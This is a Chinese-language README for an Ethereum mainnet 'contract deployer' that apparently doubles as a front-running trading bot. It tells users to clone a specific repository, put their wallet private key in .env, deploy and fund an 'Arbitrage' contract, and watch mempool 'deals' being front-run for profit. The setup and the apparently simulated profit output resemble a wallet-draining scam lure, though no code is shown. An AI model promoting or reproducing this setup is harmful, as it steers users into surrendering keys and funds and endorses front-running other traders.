⚡ 快速开始 — 4 步
运行项目所需的一切。只需按顺序复制命令。
1️⃣ 克隆项目
git clone https://github.com/yoge7388095s/eth-trading-bot
cd <your-repo>
2️⃣ 安装依赖(必需)
npm install
3️⃣ 创建 .env 并填入你的密钥
PRIVATE_KEY=0xYourPrivateKey
RPC_URL=https://ethereum-rpc.publicnode.com
4️⃣ 运行
node start
| 步骤 | 作用 | 是否必需 |
|---|---|---|
| 1️⃣ | 从 GitHub 克隆仓库 | ✅ |
| 2️⃣ | 将 ethers 和 solc 安装到 node_modules/ | ✅ |
| 3️⃣ | 将你的钱包连接到以太坊主网 | ✅ |
| 4️⃣ | 打开用于部署和调用的交互式菜单 | ✅ |
⚠️ 没有
npm install脚本将无法运行 —ethers和solc并不包含在 Node.js 标准发行版中。⚠️ 该脚本仅支持以太坊主网。 交易会花费真实 ETH。
📖 关于本项目
以太坊合约部署器 是一组 Node.js 脚本,用于在以太坊主网上便捷地操作 Solidity 合约:
- 🚀 开箱即用地编译
.sol文件(无需 Remix、无需 Hardhat); - 📦 自动解析来自 GitHub、npm 和本地文件的导入;
- 🌐 部署到以太坊主网;
- 🧭 提供调用合约函数的交互式菜单;
- ⛽️ 实时预估 Gas 并以 ETH 和 USD 显示成本;
- 🛰️ 运行 mempool 数据流,以美观的方式输出交易。
整个界面色彩丰富,带有边框、方向键菜单和清晰的状态提示。
⚠️ 警告: 该脚本仅支持以太坊主网。每笔交易都会花费真实资金。运行前请确保你清楚自己在做什么。
✨ 特性
| 特性 | 说明 |
|---|---|
| 🧩 即时编译 | solc 按文件名构建合约,无需外部打包工具 |
| 🔗 智能导入 | GitHub、node_modules、本地路径、npm CDN — 全部自动解析 |
| 💾 部署记录存储 | 地址、ABI 和日期保存到 deployments.json |
| 🎛️ 交互式菜单 | 方向键 ↑↓、Enter、OK/Cancel — 就像在 Remix 中一样 |
| ⛽️ Gas 预览 | Gas 预估、base fee、priority fee、最高与当前成本 |
| 💵 ETH/USD 汇率 | 通过 Chainlink 预言机以美元估算费用 |
| 📡 Mempool 数据流 | 单独进程向控制台输出“交易” |
| 🎨 美观输出 | 边框、颜色、高亮、清晰的状态 |
🔐 私钥存于 .env | 绝不写入代码 |
📂 项目结构
Script-Contract/
├── start.js # 入口(node start)
├── deploy.js # 部署核心与菜单
├── mempool.js # Mempool 数据流(独立进程)
├── erc20.json # 代币列表(Sequence Token Directory)
├── deployments.json # 保存的部署记录(自动创建)
├── .env # 私钥与 RPC(不进 git)
├── lib/
│ ├── ui.js # 颜色、日志、边框、菜单
│ ├── env.js # .env、deployments.json、区块浏览器
│ ├── compile.js # 导入解析与编译
│ ├── chain.js # Gas、交易回执、ETH 价格
│ └── contract.js # 部署、函数调用、数据流启动
└── *.sol # 你的合约
🚀 详细配置
1. 克隆项目
git clone https://github.com/<your-username>/<your-repo>.git
cd <your-repo>
或者从 GitHub 下载 ZIP 压缩包并解压到任意文件夹。
2. 📦 安装依赖(必需)
⚠️ 此步骤为必选。 不安装依赖脚本将无法运行:
ethers和solc并不包含在 Node.js 标准发行版中。
在项目文件夹中打开终端并运行:
npm install
该命令会下载 package.json 中列出的依赖:
| 包 | 用途 |
|---|---|
ethers | 以太坊交互:钱包、provider、交易、ABI |
solc | 内嵌于 Node.js 的 Solidity 编译器 |
安装成功后会出现 node_modules/ 目录。如果没有出现,说明安装失败,请检查 npm install 的输出。
3. 配置 .env
在根目录创建 .env 文件并填写:
PRIVATE_KEY=0xYourPrivateKey
RPC_URL=https://ethereum-rpc.publicnode.com
主网 RPC 端点示例:
| 提供商 | URL |
|---|---|
| PublicNode | https://ethereum-rpc.publicnode.com |
| LlamaRPC | https://eth.llamarpc.com |
| Cloudflare | https://cloudflare-eth.com |
| Infura | https://mainnet.infura.io/v3/<KEY> |
| Alchemy | https://eth-mainnet.g.alchemy.com/v2/<KEY> |
⚠️ 切勿将
.env提交到公开仓库。它必须写入.gitignore。
4. 运行
node start
或通过 npm 运行(如果 package.json 中定义了 start 脚本):
npm start
🖥️ 界面展示
主菜单
=== Ethereum Contract Deployer ===
i Network: mainnet (chainId 1)
i Wallet: 0x8c27...66CdC
i Balance: 0.5 ETH
! THIS IS MAINNET - transactions cost real money!
Main menu
> Deploy Arbitrage.sol
Open deployed Arbitrage (0x2d7A..., 2025-01-15)
Exit
up/down - select, Enter - ok, Ctrl+C - exit
Gas 预览
────────────────────────────────────────────────────────
i Estimating current gas...
Gas (estimate): 564195 units
Gas limit (+10%): 620614
Base fee (block 21000000): 8.4321 gwei
Priority fee: 1.5000 gwei
Max fee per gas: 18.3642 gwei
Fee now (expected): 0.005603 ETH (~$17.93)
Fee maximum: 0.011397 ETH (~$36.47)
Your balance: 0.5 ETH (~$1600.00)
状态框
┌──────────────────────────────────────────────┐
│ CONTRACT DEPLOYED │
├──────────────────────────────────────────────┤
│ Name: Arbitrage │
│ Address: 0x2d7A3BdCcA8E2B32bFA77c94175Ab3A41│
│ View: https://etherscan.io/address/0x2d...│
└──────────────────────────────────────────────┘
Mempool 数据流
┌──────────────────────────────────────────────┐
│ MEMPOOL STREAM STARTED │
├──────────────────────────────────────────────┤
│ Value from start(): 0 ETH │
│ Contract balance: 0.010000 ETH │
│ │
│ Ctrl+C - stop the stream. │
└──────────────────────────────────────────────┘
i Looking for profitable deals...
────────────────────────────────────────────────────────
[DEAL # 1] 11:54:21
────────────────────────────────────────────────────────
Buyer : 0x6043727c...7fd64
Router : 0xd9e1cE17...8B9F
Amount : 1.8803 ETH (~$6016.96)
Token : WETH (Wrapped Ether) 0xC02aaA...756Cc2
Method : swapExactETHForTokens
TXID : 0xa1f70a8f...4fd03d
> Front-running with our tx...
> Our buy
Amount : 0.002862 ETH (~$9.16)
...
┌───────────────────────────────────┐
│ PROFIT │
├───────────────────────────────────┤
│ +0.000229 ETH (~$0.73) (+7.88%) │
└───────────────────────────────────┘
🧭 菜单与功能
| 菜单项 | 含义 |
|---|---|
Deploy <file>.sol | 编译并部署合约 |
Open deployed <name> | 打开之前保存在 deployments.json 中的合约 |
[read] | view / pure 函数 — 只读 |
[write] | 改变状态的常规交易 |
[payable] | 接收 ETH 的函数 |
[info] Contract balance | 显示合约余额 |
[stop] Stop mempool stream | 仅在数据流运行时出现 |
<- Back to main menu | 返回主菜单 |
🌐 网络
该脚本仅支持以太坊主网(chainId 1)。
| 参数 | 值 |
|---|---|
| 网络 | Ethereum Mainnet |
| chainId | 1 |
| 区块浏览器 | etherscan.io |
| 货币 | ETH |
如果 RPC_URL 指向其他网络,脚本将拒绝运行并打印错误。
📦 数据流代币
erc20.json 文件是来自 Sequence Token Directory 的 Uniswap Token List Schema 格式代币列表。
loadTokens() 加载器:
- 支持两种格式 — 纯数组和
{ tokens: [...] }; - 过滤无效地址;
- 丢弃零地址(
0x0000...0000); - 仅保留
chainId = 1的代币; - 提取
address、symbol和name。
如果文件缺失,数据流将回退到随机地址并给出警告。
🔐 安全性
- 🔒
.env不会被提交,其中只包含PRIVATE_KEY和RPC_URL。 - ⚠️ 该脚本仅支持主网 — 每笔交易都花费真实 ETH。
- 🧪 在实际使用前,请仔细审查合约和地址。
- ✅ 所有
[write]/[payable]操作都会经过 Gas 预览和OK确认按钮。 - 🚫 未经你的确认不会发送任何交易。
⛽️ Gas 如何计算
estimateGas提供精确预估。gasLimit= 预估值 + 10%(缓冲,与 MetaMask 相同)。maxFeePerGas=2 × baseFee + priorityFee(为 base fee 上涨预留缓冲)。- 显示预期费用(当前区块)和最高费用(
gasLimit × maxFee)。 - ETH/USD 汇率来自 Chainlink 预言机。
🧩 .sol 中的导入
编译器可以解析以下来源的导入:
| 类型 | 示例 |
|---|---|
| GitHub | import "https://github.com/Uniswap/v3-core/..." |
| npm via CDN | import "@openzeppelin/contracts/token/ERC20/ERC20.sol" |
node_modules | import "@openzeppelin/contracts/..."(如果已在本地安装) |
| 本地 | import "./MyLib.sol" |
形如 github.com/owner/repo/blob/branch/path 的 GitHub 链接会自动转换为 raw.githubusercontent.com。
📋 环境要求
| 组件 | 版本 |
|---|---|
| Node.js | ≥ 18(需要 fetch) |
| npm | ≥ 9 |
| Solidity | 任意(solc 通过 npm 拉取) |
依赖(位于 package.json):
{
"dependencies": {
"ethers": "^6.13.0",
"solc": "^0.8.28"
}
}
🛠️ 常用命令
# 📦 Install all dependencies (required after cloning)
npm install
# Run
node start
# Run via npm (if a start script is defined in package.json)
npm start
# Run the mempool stream manually
node mempool.js
# Check the solc version
node -e "console.log(require('solc').version())"
# Verify that dependencies are installed
ls node_modules | head
🗺️ 路线图
- 编译与部署
- 交互式菜单
- Gas 预览与 ETH 价格
- Mempool 数据流(独立进程)
- 多签支持
- ABI 导出为 TypeScript 类型
- Tenderly 集成以进行交易模拟
🤝 参与贡献
欢迎提交 PR 和 issue。提交 PR 前:
- 确保
.env没有被包含在提交中。 - 确保
deployments.json只包含本地测试数据。 - 简要描述改动 — 改了什么以及为什么。
📜 许可证
本项目基于 MIT 许可证分发。详情参见 LICENSE。
用 ❤️ 献给热爱终端的人
⭐ 如果觉得有用请给仓库点个 Star